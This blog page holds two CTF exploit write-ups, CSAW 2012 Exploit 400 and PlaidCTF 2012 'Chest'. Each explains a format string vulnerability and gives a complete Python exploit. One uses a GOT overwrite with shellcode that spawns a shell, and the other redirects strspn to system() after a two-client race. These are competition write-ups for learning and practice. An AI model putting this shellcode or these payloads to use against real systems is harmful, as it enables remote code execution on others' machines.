codezen.fr code hacking, zen coding

4Oct/12Off

CSAW 2012 CTF – Exploit 400 Write-up

Posted by aXs

We have a binary with a format string vulnerability:

$ nc localhost 23456
What would be the last word you want say before the Mayan Calender ends?
Saying: %p %p %p %p
Starting count down to the end of the world!
  5
  4
  3
  2
  1
  0
      ooO
          ooOOOo
        oOOOOOOoooo
     ooOOOooo
    /vvv\
         /V V V\
        /V  V  V\
       /     V   \
      /     VV    \    __________
     /        VVV  \    |    |
    /       VVVV    \   |(nil) 0xbf9bb444 0xb7787e58 0xd696910|
   /           VVVVV \    |__________|
      VVVVVVVVVVVVV       |

A format string vulnerability is fantastic tool for a GOT table overwrite. But what can we overwrite and where to jump ?

.bss:0804B100 _bss            segment para public 'BSS' use32
.bss:0804B120 ; char statement_4029[]
.bss:0804B120 statement_4029  db 200h dup(?)          ; DATA XREF: sdoomsday+27o
.bss:0804B120                                         ; sdoomsday+3Fo ...
.bss:0804B120 _bss            ends

Hmm.. Buffer in BSS, fixed offset ?

.text:08048B91                 mov     eax, [ebp+fd]
.text:08048B94                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048B9C                 mov     dword ptr [esp+8], 1FFh ; n
.text:08048BA4                 mov     dword ptr [esp+4], offset statement_4029 ; buf
.text:08048BAC                 mov     [esp], eax      ; fd
.text:08048BAF                 call    _recv

Lovely! User input is stored into the BSS section and this section is RWE !

So our format string will overwrite the GOT entry for send() and replace it with the offset of the user input buffer.

I lost a monumental amount of time with an exploit that was working perfectly on my local Debian Squeeze VM and would output nothing on the challenge box. I rewrote it several time with different strategies to no avail. One of our team member tried on his Ubuntu box and it wouldn't work either o_O .. so I fired up a CentOS VM and indeed, the format string had a off by one difference in the second argument. Making the exploit works on CentOS made it work on the Ubuntu and the challenge box. I don't really know what's up with Debian's libc.

The final layout (but probably many other layouts worked before I discovered the issue with the Debian box) :

[short relative JMP to Shellcode] [Format string] [Shellcode]

For the shellcode since there is a small filter, we will just use a XOR-encoded polymorphic shellcode.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack
import time

shellcode = ''

# dup2(4) as our socket is fd 4
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"

# /bin/sh polymorphic
shellcode += "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"

host = sys.argv[1]
port = 23456

guess_mode = int(sys.argv[2])

def connect_to_host():
 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024)) # banner
  print repr(s.recv(1024)) # banner

  return s

def exploit(payload):

  s = connect_to_host()

  s.send(payload + "\n")

  time.sleep(3)

  s.send("\nls -la\n")
  s.send("cat key\n")

  while True:
    data = s.recv(1024)
    if data:
      print repr(data)
    else:
      break

def do_fmt(payload):

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024))
  print repr(s.recv(1024))

  s.send(payload + "\n")

  print "len payload=", len(payload)

  data = s.recv(len("Starting count down to the end of the world!\n"))

  for i in xrange(0,6):
    print repr(s.recv(32))
    time.sleep(1)
     
  data = s.recv(194)

  data = s.recv(4096)

  data = data[:-63]

  print repr(data)

  return data

format_string = "%.12d%6$n%.145d%7$n%.82d%8$nAAAA%9$n"

jump_distance = 4*4 + len(format_string) + 2 # jump over format string to shellcode

print "jump distance=", jump_distance

payload = '\xeb' + chr(jump_distance) + '\x90' * 2

payload += pack("<I", 0x804B068) # GOT table send()
payload += pack("<I", 0x804B069)
payload += pack("<I", 0x804B06A)
payload += pack("<I", 0x804B06B)

payload += format_string

payload += shellcode

exploit(payload)

time.sleep(5)
Share
2May/12Off

PlaidCTF 2012 – Pwnables 300 – Chest Writeup

Posted by aXs

Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please!
23.22.1.14:1282

In this challenge we have a telnet interface to a nice chest that can store an item, remove an item or view the list of stored items.

Welcome to the Adventurers' storage room!
If you don't yet have a personal chest, you can use this one: XXXXFJ4bO1
Which chest to you wish to access? [XXXXFJ4bO1]:
Using chest XXXXFJ4bO1

What do you want to do?

[1] View items
[2] Store an item
[3] Take an item
[4] Leave
[5] Destroy the chest
> Choose an option:

After disassembling the binary, we see that there is a format string vulnerability in the "View items" function.

  do
  {
    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);
  }

The name of the item is used as format to dprintf. So easy right ? Not so fast...

There is a function that filter heavily user input based on a whitelist:

  n = strspn(src, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&-+ ");

The percent character is of course not whitelisted so we cannot send a format string.

To exploit this vulnerability, we need to combine it with another design conception error: when you connect to the service, you can input the name of the chest you want to open.

The error is that if you connect simultaneously 2 clients, ask both clients to open the same chest and use the destroy chest function in one client, the other client will malfunction in a very interesting way.

Rember this read loop for viewing the items ?

  do
  {
    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);
  }
...
int __cdecl sub_8048C7B(int fd, void *a2, int a3, char a4)
{
  char v4; // al@3
  char v5; // al@7
  void *buf; // [sp+28h] [bp-10h]@1
  ssize_t v8; // [sp+2Ch] [bp-Ch]@2

  buf = a2;
  do
  {
    v5 = a3-- != 0;
    if ( !v5 )
      break;
    v8 = read(fd, buf, 1u); // will return 0
    if ( v8 != 1 ) // will pass
    {
      if ( v8 ) // will not pass
        exit(1320024593);
      return buf - a2; // will return buf left untouched!
    }
    v4 = *(_BYTE *)buf == a4;
    buf = (char *)buf + 1;
  }
  while ( !v4 );
  return buf - a2;
}

As you can see, as the chest has been destroyed, read() will fail to read anything and the function will return leaving the buffer untouched... untouched means with its previous content... and this function is also used to read the name of the item:

  dprintf(fd, "> Store what item? ");
  src[sub_8048C7B(fd, (void *)src, 499, 10)] = 0;

So to exploit this we need:
- Connect 2 clients
- Choose the same chest in both clients
- Destroy the chest using one client
- With the client left, store an item with our format string vulnerability
- List the chest content, this will trigger the format string
- An additional action to get the flag (see below)

After reviewing my options, I noticed system() is already part of the GOT table so I will try to overwrite strspn's GOT entry so that an unfiltered string can be used as the system() parameter.

For this, I used hellman's highly recommended libformatstr library which makes format string building very easy.

#!/usr/bin/env python
# -*- coding: latin-1 -*-

import socket
import sys
import re
from libformatstr import FormatStr

if len(sys.argv) != 3:
  print '\nUsage:\t./chest.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

fs = s.makefile()

print 'Client1 Banner1', fs.readline()
print 'Client1 Banner2', fs.readline()

s.send('\n');
chest = fs.readline()

regex = re.compile("Using chest (.*)")
r = regex.search(chest)
chest = r.groups()[0]

print 'Chest', chest

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, port))

fs2 = s2.makefile()

print 'Client2 Banner1', fs2.readline()
print 'Client2 Banner2', fs2.readline()

s2.send('%s\n' %chest);

# destroy chest
for i in range(1,9):
  fs.readline()
s.send('5\n');
s.close()

# add item to chest
for i in range(1,10):
  fs2.readline()
s2.send('2\n')
fs2.readline()

addr = 0x0804abf0 # strspn()
got = [0x08048796] # system()
p = FormatStr()
p[addr] = got

payload = p.payload(7, start_len=4)

# we start the payload with a non-whitelisted char so that the NUL byte
# is put at the beginning of the string
s2.send('____' + payload + '\n')
print 'Client2 Result Store', fs2.readline()

# view chest content
for i in range(1,9):
  fs2.readline()
s2.send('1\n')

# strspn() is now system()
# fd 4 is our socket
s2.send('ls -la>&4 ; cat key>&4\n')

while 1:
  line = s2.recv(4096)
  if not line:
      break
  print 'Client2 Received', repr(line)

sys.stdout.flush()

s2.close()

Running our exploit we get (some garbage removed from the beginning):

total 28
drwxr-xr-x 2 root root 4096 Apr 28 04:36 .
drwxr-xr-x 3 root root 4096 Apr 27 19:27 ..
-rwxr-xr-x 1 root root 8564 Apr 27 19:27 chest
lrwxrwxrwx 1 root root 3 Apr 28 04:36 flag -> key
-rw-r--r-- 1 root root 24 Apr 27 03:48 key
-rwxr-xr-x 1 root root 41 Apr 27 19:27 start.sh
lemons_are_in_the_chest

The key is: lemons_are_in_the_chest

Share